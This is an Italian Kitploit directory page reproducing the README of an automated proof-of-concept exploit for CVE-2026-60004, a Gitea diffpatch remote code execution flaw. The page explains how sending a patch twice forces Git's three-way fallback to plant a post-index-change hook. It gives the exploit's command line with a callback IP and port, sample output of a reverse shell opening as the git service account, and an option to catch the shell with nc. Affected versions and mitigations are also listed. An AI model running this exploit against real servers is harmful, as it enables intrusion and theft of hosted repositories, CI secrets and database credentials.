Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-60004 — Exploit proof-of-concept automatizzato per CVE-2026-60004, un RCE tramite hook Git diffpatch di Gitea che installa un hook post-index-change per ottenere una reverse shell come account di servizio. | Kitploit
Strumenti/GitHubGitHub/yym8538/cve-2026-60004
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubyym8538/cve-2026-60004

CVE-2026-60004

Exploit proof-of-concept automatizzato per CVE-2026-60004, un RCE tramite hook Git diffpatch di Gitea che installa un hook post-index-change per ottenere una reverse shell come account di servizio.

11 mese faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Panoramica

CVE-2026-60004 è una vulnerabilità di Remote Code Execution (RCE) in Gitea. L'API diffpatch applica una patch fornita con git apply --cached, che dovrebbe toccare solo l'indice e non scrivere mai file su disco. Inviando la stessa patch due volte, un attaccante forza una collisione add/add che attiva il fallback al three-way merge (-3) di Git. Quel percorso ignora --cached ed estrae il file nel working tree. Poiché il clone temporaneo è bare, la radice del suo working tree è $GIT_DIR. Una patch che crea un eseguibile piazza quindi un Git hook attivo, che Git esegue automaticamente al successivo aggiornamento dell'indice — eseguendo comandi come l'account di servizio Gitea. L'endpoint richiede accesso in scrittura al repository, ma la registrazione è abilitata di default, quindi qualsiasi utente che può registrarsi e creare un repository può raggiungerlo.

hooks/post-index-change

Versioni interessate

CategoriaVersione
VulnerabileGitea 1.17 ≤ versione ≤ 1.27.0
CorrettaGitea 1.27.1 o successiva

Impatto

  • Remote Code Execution come l'account di servizio Gitea (git)
  • Accesso a tutti i repository ospitati, ai segreti CI e alle credenziali del database

Ambiente

Compila ed esegui l'ambiente Gitea vulnerabile. La registrazione è lasciata aperta e il server include Git 2.32+, che abilita il fallback -3 su cui si basa l'attacco.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
PrerequisitoStato in questo lab
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ sul server (abilita -3)2.54
Registrazione apertaabilitata (default)
Accesso in scrittura al repositorytramite account auto-registrato

PoC

L'exploit è completamente automatizzato da gitea_exploit.py. Dato un account che può creare un repository, esso crea il repo di destinazione, invia la stessa patch ripetutamente finché non scatta il fallback -3 di Git, e cattura la reverse shell con un listener integrato — nessuna configurazione manuale, creazione di patch o calcolo di blob-hash necessario.

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Il fallback -3 scatta solo in determinate finestre temporali, quindi lo script ripete create → send → send finché non riesce a catturarlo (default 25 tentativi). Quando un invio si blocca, l'hook è scattato e il listener ti apre una shell come git:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

Opzioni:

  • --no-listen — cattura la shell con il tuo nc esterno invece del listener integrato
  • --user / --pw / --repo / --branch — sovrascrivi l'account predefinito e il repo di destinazione

Mitigazione

  • Aggiorna Gitea alla versione 1.27.1 o successiva
  • Disabilita la registrazione aperta se non necessaria (DISABLE_REGISTRATION=true)
  • Limita chi può raggiungere l'istanza e creare repository

Analisi

  • KR: In arrivo!
  • EN:
Scarica lo strumento